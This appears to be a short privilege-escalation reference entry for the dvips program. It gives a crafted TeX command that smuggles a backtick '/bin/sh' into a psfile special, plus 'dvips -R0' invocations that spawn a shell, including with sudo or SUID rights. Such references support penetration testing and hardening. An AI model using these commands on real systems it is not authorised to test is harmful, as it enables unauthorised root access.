Shell

This executable can spawn an interactive system shell.
  1. Comment

    The texput.dvi output file produced by tex can be created offline and uploaded to the target.

    tex '\special{psfile="`/bin/sh 1>&0"}\end'
    
    This function can be performed by any unprivileged user.
    dvips -R0 texput.dvi
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    dvips -R0 texput.dvi
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    dvips -R0 texput.dvi